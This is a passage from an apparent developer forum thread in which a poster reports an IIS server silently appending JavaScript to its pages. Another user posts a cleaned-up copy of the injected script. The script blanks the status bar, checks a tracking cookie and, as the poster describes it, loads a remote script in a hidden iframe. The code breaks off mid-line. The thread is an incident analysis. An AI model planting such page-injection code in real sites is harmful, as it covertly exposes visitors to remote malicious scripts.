Sat 26 Jun | disagreeable fellow | I'm going to have to, aaah, go ahead and disagree with you there, Bob. Programming *is* building abstractions. Wrapping the bits on a disk in a read() function, and wrapping read() calls with icons and scrollbars -- they seem to differ only by degree. You're constructing a new concept or data structure or what-have-you, but most of your work is usually going to be putting an abstraction around it that makes it palatable to people who aren't CS PhDs. (Ok, some programs aren't really abstractions. Dijkstra's algorithm by itself isn't really an abstraction -- it's creating some new data from some old data. But everybody knows it now, so it's just another level of abstraction you use to create your abstractions. And the vast majority of programs use no complex algorithms at all -- how many programs are you running right now that need something more complex than Dijkstra?)
New IIS Hole? | Tue 22 Jun | Dennis Forbes
A friend found his apparently-fully-patched-up IIS box was suddenly serving some extra data on the end of pages, and discovered that the Document Footer feature was mysteriously turned on in IIS, with the following text being appended on documents. Has anyone seen this? Is it new, is it old, is it maybe so? Yes its offtopic from the normal, but its a heads up if this is a newly emerging vulnerability (I cant find any reference to this technique mentioned anywhere).
Tue 22 Jun | muppet is now from madebymonkeys.net | you wacky Canadian bastards.
Tue 22 Jun | Dennis Forbes | Eh? No doot, it's aboot time you came down off the ruff and accept the virtues of hockey and beer.
Tue 22 Jun | r1ch | It probably doesn't tell you much but searching Google for some of the JavaScript turns up this:- http://www.google.co.uk/search?q=cache:GQq93-Kx2mMJ:www.angusinternational.info/newsroom/AMI_SESSIONS.rtf+Date()%3Bvar+expiry%3Dnew+Date(today.getTime()%2B600000)%3Bif(v8!%3Dnull%26%26v8!%3D%22%22)&hl=en so it seems that someone else has picked it up, whatever it is.
Tue 22 Jun | Dignified | Hey Dennis, I cleaned up the code a little bit and renamed it, so that I could try to see what's going on. It looks like it's checking for a secure connection, then making sure you don't have a specific cookie. If you don't, then it connects to a remote javascript file, and tries to run it in an 1x1 pixel IFrame, all the while blanking out your status so you can't see anything, I'm assuming. At any rate, I never got the 'dot.php' file, so I have no idea what's in it. I'm curious if the 'trk716' cookie is some kind of authentication token to even download the script... I have no idea. At any rate, I can't imagine it's anything *good* going on. I couldn't find references to it anywhere. Anyway, here's the 'cleaner' version, hopefully it comes out ok on the forum. ------------- var docCookie=document.cookie; function findCookie(paramToFind) { var ix = docCookie.indexOf(paramToFind + '='); if (ix == -1) return null; ix=docCookie.indexOf('=',ix)+1; var es=docCookie.indexOf(';',ix); if (es==-1) es=docCookie.length; return unescape(docCookie.substring(ix,es)); } function createNewCookie(paramName, paramValue) { var today=new Date(); var expiry=new Date(today.getTime()+600000); if (paramValue != null && paramValue != '') document.cookie = paramName + '=' + escape(paramValue) + '; expires=' + expiry.toGMTString(); docCookie = document.cookie; } function BlankStatus() { window.status = ''; setTimeout('BlankStatus()',200); } BlankStatus(); if(location.href.indexOf('https')!=0) { if (findCookie('trk716') == null) { document.write('